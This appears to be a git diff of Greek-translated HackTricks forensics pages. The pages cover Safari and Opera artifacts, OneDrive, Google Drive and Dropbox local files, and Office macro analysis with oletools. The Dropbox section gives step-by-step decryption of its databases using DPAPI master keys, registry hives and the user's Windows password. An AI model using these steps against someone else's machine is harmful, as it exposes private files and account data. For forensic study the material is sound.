Τα δεδομένα του Safari αποθηκεύονται στο `/Users/$User/Library/Safari`. Τα κύρια αρχεία περιλαμβάνουν:
* **History.db**: Περιέχει τους πίνακες `history_visits` και `history_items` με URLs και χρονικές σφραγίδες επισκέψεων. Χρησιμοποιήστε το `sqlite3` για να κάνετε ερωτήσεις.
* **Downloads.plist**: Πληροφορίες σχετικά με τα ληφθέντα αρχεία.
* **Bookmarks.plist**: Αποθηκεύει τα URLs που έχουν προστεθεί στους σελιδοδείκτες.
* **TopSites.plist**: Οι πιο συχνά επισκεπτόμενοι ιστότοποι.
* **Extensions.plist**: Λίστα με τις επεκτάσεις του προγράμματος περιήγησης Safari. Χρησιμοποιήστε το `plutil` ή το `pluginkit` για να ανακτήσετε.
* **UserNotificationPermissions.plist**: Τομείς που επιτρέπεται να στέλνουν ειδοποιήσεις. Χρησιμοποιήστε το `plutil` για να αναλύσετε.
* **LastSession.plist**: Καρτέλες από την τελευταία συνεδρία. Χρησιμοποιήστε το `plutil` για να αναλύσετε.
* **Browsers built-in anti-phishing**: Ελέγξτε χρησιμοποιώντας `defaults read com.apple.Safari WarnAboutFraudulentWebsites`. Μια απάντηση 1 υποδεικνύει ότι η δυνατότητα είναι ενεργή.
## Opera
Τα δεδομένα του Opera βρίσκονται στο `/Users/$USER/Library/Application Support/com.operasoftware.Opera` και μοιράζονται τη μορφή του Chrome για ιστορικό και λήψεις.
* **Browsers built-in anti-phishing**: Επαληθεύστε ελέγχοντας αν το `fraud_protection_enabled` στο αρχείο Preferences είναι ρυθμισμένο σε `true` χρησιμοποιώντας `grep`.
Αυτές οι διαδρομές και οι εντολές είναι κρίσιμες για την πρόσβαση και την κατανόηση των δεδομένων περιήγησης που αποθηκεύονται από διάφορους ιστότοπους.
## References
* [https://nasbench.medium.com/web-browsers-forensics-7e99940c579a](https://nasbench.medium.com/web-browsers-forensics-7e99940c579a)
* [https://www.sentinelone.com/labs/macos-incident-response-part-3-system-manipulation/](https://www.sentinelone.com/labs/macos-incident-response-part-3-system-manipulation/)
* [https://books.google.com/books?id=jfMqCgAAQBAJ\&pg=PA128\&lpg=PA128\&dq=%22This+file](https://books.google.com/books?id=jfMqCgAAQBAJ\&pg=PA128\&lpg=PA128\&dq=%22This+file)
* **Book: OS X Incident Response: Scripting and Analysis By Jaron Bradley pag 123**
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,54 +1,55 @@
# Τοπική Αποθήκευση Στο Cloud
# Τοπική Αποθήκευση Cloud
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστήριξη HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο github.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) για να δημιουργήσετε εύκολα και να **αυτοματοποιήσετε ροές εργασίας** με τα πιο προηγμένα εργαλεία της κοινότητας.\
Αποκτήστε Πρόσβαση Σήμερα:
Χρησιμοποιήστε [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) για να δημιουργήσετε και να **αυτοματοποιήσετε ροές εργασίας** που υποστηρίζονται από τα **πιο προηγμένα** εργαλεία της κοινότητας.\
Αποκτήστε πρόσβαση σήμερα:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## OneDrive
Στα Windows, μπορείτε να βρείτε το φάκελο του OneDrive στο `\Users\<username>\AppData\Local\Microsoft\OneDrive`. Και μέσα στο `logs\Personal` είναι δυνατόν να βρείτε το αρχείο `SyncDiagnostics.log` το οποίο περιέχει μερικά ενδιαφέροντα δεδομένα σχετικά με τα συγχρονισμένα αρχεία:
Στα Windows, μπορείτε να βρείτε τον φάκελο OneDrive στο `\Users\<username>\AppData\Local\Microsoft\OneDrive`. Και μέσα στο `logs\Personal` είναι δυνατό να βρείτε το αρχείο `SyncDiagnostics.log` το οποίο περιέχει κάποια ενδιαφέροντα δεδομένα σχετικά με τα συγχρονισμένα αρχεία:
* Μέγεθος σε bytes
* Ημερομηνία δημιουργίας
* Ημερομηνία τροποποίησης
* Αριθμός αρχείων στο cloud
* Αριθμός αρχείων στον φάκελο
* **CID**: Μοναδικό ID του χρήστη του OneDrive
* **CID**: Μοναδικό ID του χρήστη OneDrive
* Χρόνος δημιουργίας αναφοράς
* Μέγεθος του σκληρού δίσκου του λειτουργικού συστήματος
* Μέγεθος του HD του OS
Αφού βρείτε το CID συνιστάται να **αναζητήσετε αρχεία που περιέχουν αυτό το ID**. Μπορείτε να βρείτε αρχεία με τα ονόματα: _**\<CID>.ini**_ και _**\<CID>.dat**_ που μπορεί να περιέχουν ενδιαφέρουσες πληροφορίες όπως τα ονόματα των αρχείων που συγχρονίζονται με το OneDrive.
Αφού βρείτε το CID, συνιστάται να **αναζητήσετε αρχεία που περιέχουν αυτό το ID**. Μπορείτε να βρείτε αρχεία με το όνομα: _**\<CID>.ini**_ και _**\<CID>.dat**_ που μπορεί να περιέχουν ενδιαφέρουσες πληροφορίες όπως τα ονόματα των αρχείων που συγχρονίστηκαν με το OneDrive.
## Google Drive
Στα Windows, μπορείτε να βρείτε τον κύριο φάκελο του Google Drive στο `\Users\<username>\AppData\Local\Google\Drive\user_default`\
Αυτός ο φάκελος περιέχει ένα αρχείο με το όνομα Sync\_log.log με πληροφορίες όπως η διεύθυνση email του λογαριασμού, ονόματα αρχείων, χρονικές σφραγίδες, MD5 hashes των αρχείων, κλπ. Ακόμη, τα διαγραμμένα αρχεία εμφανίζονται σε αυτό το αρχείο καταγραφής με το αντίστοιχο MD5 τους.
Στα Windows, μπορείτε να βρείτε τον κύριο φάκελο Google Drive στο `\Users\<username>\AppData\Local\Google\Drive\user_default`\
Αυτός ο φάκελος περιέχει ένα αρχείο που ονομάζεται Sync\_log.log με πληροφορίες όπως τη διεύθυνση email του λογαριασμού, ονόματα αρχείων, χρονικές σφραγίδες, MD5 hashes των αρχείων, κ.λπ. Ακόμα και τα διαγραμμένα αρχεία εμφανίζονται σε αυτό το αρχείο καταγραφής με το αντίστοιχο MD5.
Το αρχείο **`Cloud_graph\Cloud_graph.db`** είναι μια βάση δεδομένων sqlite που περιέχει τον πίνακα **`cloud_graph_entry`**. Σε αυτόν τον πίνακα μπορείτε να βρείτε το **όνομα** των **συγχρονισμένων** **αρχείων**, την τροποποιημένη ώρα, το μέγεθος και το MD5 checksum των αρχείων.
Το αρχείο **`Cloud_graph\Cloud_graph.db`** είναι μια βάση δεδομένων sqlite που περιέχει τον πίνακα **`cloud_graph_entry`**. Σε αυτόν τον πίνακα μπορείτε να βρείτε το **όνομα** των **συγχρονισμένων** **αρχείων**, χρόνο τροποποίησης, μέγεθος και το MD5 checksum των αρχείων.
Τα δεδομένα του πίνακα της βάσης δεδομένων **`Sync_config.db`** περιέχουν τη διεύθυνση email του λογαριασμού, τη διαδρομή των κοινόχρηστων φακέλων και την έκδοση του Google Drive.
Τα δεδομένα του πίνακα της βάσης δεδομένων **`Sync_config.db`** περιέχουν τη διεύθυνση email του λογαριασμού, τη διαδρομή των κοινών φακέλων και την έκδοση του Google Drive.
## Dropbox
Η Dropbox χρησιμοποιεί **SQLite βάσεις δεδομένων** για τη διαχείριση των αρχείων. Σε αυτές\
Το Dropbox χρησιμοποιεί **βάσεις δεδομένων SQLite** για να διαχειρίζεται τα αρχεία. Σε αυτό\
Μπορείτε να βρείτε τις βάσεις δεδομένων στους φακέλους:
* `\Users\<username>\AppData\Local\Dropbox`
@ -62,75 +63,76 @@
* Deleted.dbx
* Config.dbx
Η επέκταση ".dbx" σημαίνει ότι οι **βάσεις δεδομένων** είναι **κρυπτογραφημένες**. Η Dropbox χρησιμοποιεί το **DPAPI** ([https://docs.microsoft.com/en-us/previous-versions/ms995355(v=msdn.10)?redirectedfrom=MSDN](https://docs.microsoft.com/en-us/previous-versions/ms995355\(v=msdn.10\)?redirectedfrom=MSDN))
Η επέκταση ".dbx" σημαίνει ότι οι **βάσεις δεδομένων** είναι **κρυπτογραφημένες**. Το Dropbox χρησιμοποιεί **DPAPI** ([https://docs.microsoft.com/en-us/previous-versions/ms995355(v=msdn.10)?redirectedfrom=MSDN](https://docs.microsoft.com/en-us/previous-versions/ms995355\(v=msdn.10\)?redirectedfrom=MSDN))
Για να καταλάβετε καλύτερα την κρυπτογράφηση που χρησιμοποιεί η Dropbox μπορείτε να διαβάσετε [https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html](https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html).
Για να κατανοήσετε καλύτερα την κρυπτογράφηση που χρησιμοποιεί το Dropbox, μπορείτε να διαβάσετε [https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html](https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html).
Ωστόσο, οι κύριες πληροφορίες είναι:
* **Εντροπία**: d114a55212655f74bd772e37e64aee9b
* **Αλάτι**: 0D638C092E8B82FC452883F95F355B8E
* **Αλγόριθμος**: PBKDF2
* **Επαναλήψεις**: 1066
* **Entropy**: d114a55212655f74bd772e37e64aee9b
* **Salt**: 0D638C092E8B82FC452883F95F355B8E
* **Algorithm**: PBKDF2
* **Iterations**: 1066
Εκτός από αυτές τις πληροφορίες, για να αποκρυπτογραφήσετε τις βάσεις δεδομένων χρειάζεστε ακόμα:
Εκτός από αυτές τις πληροφορίες, για να αποκρυπτογραφήσετε τις βάσεις δεδομένων χρειάζεστε επίσης:
* Το **κρυπτογραφημένο κλειδί DPAPI**: Μπορείτε να το βρείτε στο μητρώο μέσα στο `NTUSER.DAT\Software\Dropbox\ks\client` (εξαγάγετε αυτά τα δεδομένα ως δυαδικά)
* Τα **`SYSTEM`** και **`SECURITY`** hives
* Τα **κλειδιά μετατροπής DPAPI**: Τα οποία μπορείτε να βρείτε στον φάκελο `\Users\<username>\AppData\Roaming\Microsoft\Protect`
* Το **όνομα χρήστη** και **κωδικό πρόσβασης** του χρήστη των Windows
* Το **κρυπτογραφημένο κλειδί DPAPI**: Μπορείτε να το βρείτε στο μητρώο μέσα στο `NTUSER.DAT\Software\Dropbox\ks\client` (εξάγετε αυτά τα δεδομένα ως δυαδικά)
* Τις **hives** **`SYSTEM`** και **`SECURITY`**
* Τα **master keys DPAPI**: Τα οποία μπορούν να βρεθούν στο `\Users\<username>\AppData\Roaming\Microsoft\Protect`
* Το **όνομα χρήστη** και τον **κωδικό πρόσβασης** του χρήστη Windows
Στη συνέχεια μπορείτε να χρησιμοποιήσετε το εργαλείο [**DataProtectionDecryptor**](https://nirsoft.net/utils/dpapi\_data\_decryptor.html)**:**
Στη συνέχεια, μπορείτε να χρησιμοποιήσετε το εργαλείο [**DataProtectionDecryptor**](https://nirsoft.net/utils/dpapi\_data\_decryptor.html)**:**
![](<../../../.gitbook/assets/image (448).png>)
Αν όλα πάνε όπως αναμένεται, το εργαλείο θα υποδείξει το **κύριο κλειδί** που χρειάζεστε για να **ανακτήσετε τον αρχικό**. Για να ανακτήσετε τον αρχικό, απλά χρησιμοποιήστε αυτό το [cyber\_chef receipt](https://gchq.github.io/CyberChef/#recipe=Derive\_PBKDF2\_key\(%7B'option':'Hex','string':'98FD6A76ECB87DE8DAB4623123402167'%7D,128,1066,'SHA1',%7B'option':'Hex','string':'0D638C092E8B82FC452883F95F355B8E'%7D\) βάζοντας το κύριο κλειδί ως "passphrase" μέσα στο receipt.
Αν όλα πάνε όπως αναμένεται, το εργαλείο θα υποδείξει το **κύριο κλειδί** που χρειάζεστε για να **ανακτήσετε το αρχικό**. Για να ανακτήσετε το αρχικό, απλώς χρησιμοποιήστε αυτή τη [συνταγή cyber\_chef](https://gchq.github.io/CyberChef/#recipe=Derive\_PBKDF2\_key\(%7B'option':'Hex','string':'98FD6A76ECB87DE8DAB4623123402167'%7D,128,1066,'SHA1',%7B'option':'Hex','string':'0D638C092E8B82FC452883F95F355B8E'%7D\)) βάζοντας το κύριο κλειδί ως την "passphrase" μέσα στη συνταγή.
Το αποτέλεσμα σε hex είναι το τελικό κλειδί που χρησιμοποιείται για την κρυπτογράφηση των βάσεων δεδομένων τα οποία μπορούν να αποκρυπτογραφηθούν με:
Το προκύπτον hex είναι το τελικό κλειδί που χρησιμοποιείται για την κρυπτογράφηση των βάσεων δεδομένων που μπορεί να αποκρυπτογραφηθεί με:
```bash
sqlite -k <Obtained Key> config.dbx ".backup config.db" #This decompress the config.dbx and creates a clear text backup in config.db
```
Η βάση δεδομένων **`config.dbx`** περιέχει:
The **`config.dbx`** database contains:
* **Email**: Το email του χρήστη
* **usernamedisplayname**: Το όνομα του χρήστη
* **dropbox\_path**: Διαδρομή όπου βρίσκεται ο φάκελος του Dropbox
* **Host\_id: Hash** που χρησιμοποιείται για την ταυτοποίηση στο cloud. Αυτό μπορεί να ανακληθεί μόνο από το web.
* **dropbox\_path**: Διαδρομή όπου βρίσκεται ο φάκελος dropbox
* **Host\_id: Hash** που χρησιμοποιείται για την αυθεντικοποίηση στο cloud. Αυτό μπορεί να ανακληθεί μόνο από το διαδίκτυο.
* **Root\_ns**: Αναγνωριστικό χρήστη
Η βάση δεδομένων **`filecache.db`** περιέχει πληροφορίες για όλα τα αρχεία και φακέλους που συγχρονίζονται με το Dropbox. Ο πίνακας `File_journal` είναι αυτός που περιέχει τις περισσότερες χρήσιμες πληροφορίες:
The **`filecache.db`** database contains information about all the files and folders synchronized with Dropbox. The table `File_journal` is the one with more useful information:
* **Server\_path**: Διαδρομή όπου βρίσκεται το αρχείο μέσα στον διακομιστή (αυτή η διαδρομή προηγείται από το `host_id` του πελάτη).
* **local\_sjid**: Έκδοση του αρχείου
* **local\_mtime**: Ημερομηνία τροποποίησης
* **local\_ctime**: Ημερομηνία δημιουργίας
Άλλοι πίνακες μέσα σε αυτήν τη βάση δεδομένων περιέχουν περισσότερες ενδιαφέρουσες πληροφορίες:
Other tables inside this database contain more interesting information:
* **block\_cache**: hash όλων των αρχείων και φακέλων του Dropbox
* **block\_ref**: Σχετίζει το αναγνωριστικό hash του πίνακα `block_cache` με το αναγνωριστικό αρχείου στον πίνακα `file_journal`
* **mount\_table**: Κοινόχρηστοι φάκελοι του Dropbox
* **block\_ref**: Σχετίζει το hash ID του πίνακα `block_cache` με το ID του αρχείου στον πίνακα `file_journal`
* **mount\_table**: Κοινόχρηστοι φάκελοι του dropbox
* **deleted\_fields**: Διαγραμμένα αρχεία του Dropbox
* **date\_added**
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) για να δημιουργήσετε εύκολα και να **αυτοματοποιήσετε ροές εργασίας** με τα πιο προηγμένα εργαλεία της κοινότητας.\
Αποκτήστε πρόσβαση σήμερα:
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του GitHub.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,58 +1,60 @@
# Ανάλυση αρχείων γραφείου
# Ανάλυση αρχείων Office
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστήριξη HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) για να δημιουργήσετε εύκολα και να **αυτοματοποιήσετε ροές εργασίας** με τα πιο προηγμένα εργαλεία της κοινότητας.\
Χρησιμοποιήστε [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) για να δημιουργήσετε και να **αυτοματοποιήσετε ροές εργασίας** με τη βοήθεια των **πιο προηγμένων** εργαλείων της κοινότητας.\
Αποκτήστε πρόσβαση σήμερα:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
Για περαιτέρω πληροφορίες ελέγξτε το [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/). Αυτό είναι απλώς ένα σύνοψη:
Για περισσότερες πληροφορίες, ελέγξτε το [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/). Αυτό είναι απλώς μια περίληψη:
Η Microsoft έχει δημιουργήσει πολλές μορφές εγγράφων γραφείου, με δύο κύριους τύπους να είναι τα **μορφότυπα OLE** (όπως RTF, DOC, XLS, PPT) και τα **μορφότυπα Office Open XML (OOXML)** (όπως DOCX, XLSX, PPTX). Αυτά τα μορφότυπα μπορούν να περιλαμβάνουν μακρότυπα, καθιστώντας τα στόχους για phishing και κακόβουλο λογισμικό. Τα αρχεία OOXML είναι δομημένα ως αρχεία zip, επιτρέποντας την επιθεώρηση μέσω αποσυμπίεσης, αποκαλύπτοντας τη δομή του αρχείου και του φακέλου και τα περιεχόμενα του αρχείου XML.
Η Microsoft έχει δημιουργήσει πολλούς τύπους εγγράφων office, με δύο κύριους τύπους να είναι οι **μορφές OLE** (όπως RTF, DOC, XLS, PPT) και οι **μορφές Office Open XML (OOXML)** (όπως DOCX, XLSX, PPTX). Αυτές οι μορφές μπορούν να περιλαμβάνουν μακροεντολές, καθιστώντας τις στόχους για phishing και κακόβουλο λογισμικό. Τα αρχεία OOXML είναι δομημένα ως zip containers, επιτρέποντας την επιθεώρηση μέσω αποσυμπίεσης, αποκαλύπτοντας τη δομή αρχείων και φακέλων και το περιεχόμενο αρχείων XML.
Για να εξερευνήσετε τις δομές αρχείων OOXML, δίνεται η εντολή για αποσυμπίεση ενός εγγράφου και η δομή εξόδου. Έχουν καταγραφεί τεχνικές για την κρυψοκάλυψη δεδομένων σε αυτά τα αρχεία, υποδεικνύοντας συνεχή καινοτομία στην κρυψοκάλυψη δεδομένων στις προκλήσεις CTF.
Για να εξερευνήσετε τις δομές αρχείων OOXML, παρέχονται η εντολή για την αποσυμπίεση ενός εγγράφου και η δομή εξόδου. Τεχνικές για την απόκρυψη δεδομένων σε αυτά τα αρχεία έχουν τεκμηριωθεί, υποδεικνύοντας συνεχιζόμενη καινοτομία στην απόκρυψη δεδομένων εντός προκλήσεων CTF.
Για ανάλυση, τα **oletools** και **OfficeDissector** προσφέρουν πλήρεις συλλογές εργαλείων για την εξέταση τόσο των εγγράφων OLE όσο και των εγγράφων OOXML. Αυτά τα εργαλεία βοηθούν στην αναγνώριση και ανάλυση ενσωματωμένων μακροεντολών, οι οποίες συχνά λειτουργούν ως διανομείς κακόβουλου λογισμικού, κατά κανόνα λήψη και εκτέλεση επιπλέον κακόβουλων φορτίων. Η ανάλυση των μακροεντολών VBA μπορεί να πραγματοποιηθεί χωρίς το Microsoft Office χρησιμοποιώντας το Libre Office, το οποίο επιτρέπει την αποσφαλμάτωση με σημεία διακοπής και μεταβλητές παρακολούθησης.
Για ανάλυση, τα **oletools** και **OfficeDissector** προσφέρουν ολοκληρωμένα εργαλεία για την εξέταση τόσο των εγγράφων OLE όσο και των OOXML. Αυτά τα εργαλεία βοηθούν στην αναγνώριση και ανάλυση ενσωματωμένων μακροεντολών, οι οποίες συχνά χρησιμεύουν ως διαδρομές για την παράδοση κακόβουλου λογισμικού, συνήθως κατεβάζοντας και εκτελώντας επιπλέον κακόβουλα φορτία. Η ανάλυση των VBA μακροεντολών μπορεί να διεξαχθεί χωρίς Microsoft Office χρησιμοποιώντας το Libre Office, το οποίο επιτρέπει την αποσφαλμάτωση με σημεία διακοπής και παρακολουθούμενες μεταβλητές.
Η εγκατάσταση και η χρήση των **oletools** είναι απλές, με εντολές που παρέχονται για την εγκατάσταση μέσω pip και την εξαγωγή μακροεντολών από εγγράφα. Η αυτόματη εκτέλεση μακροεντολών ενεργοποιείται από λειτουργίες όπως `AutoOpen`, `AutoExec` ή `Document_Open`.
Η εγκατάσταση και η χρήση των **oletools** είναι απλή, με εντολές που παρέχονται για την εγκατάσταση μέσω pip και την εξαγωγή μακροεντολών από έγγραφα. Η αυτόματη εκτέλεση μακροεντολών ενεργοποιείται από συναρτήσεις όπως `AutoOpen`, `AutoExec` ή `Document_Open`.
```bash
sudo pip3 install -U oletools
olevba -c /path/to/document #Extract macros
```
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
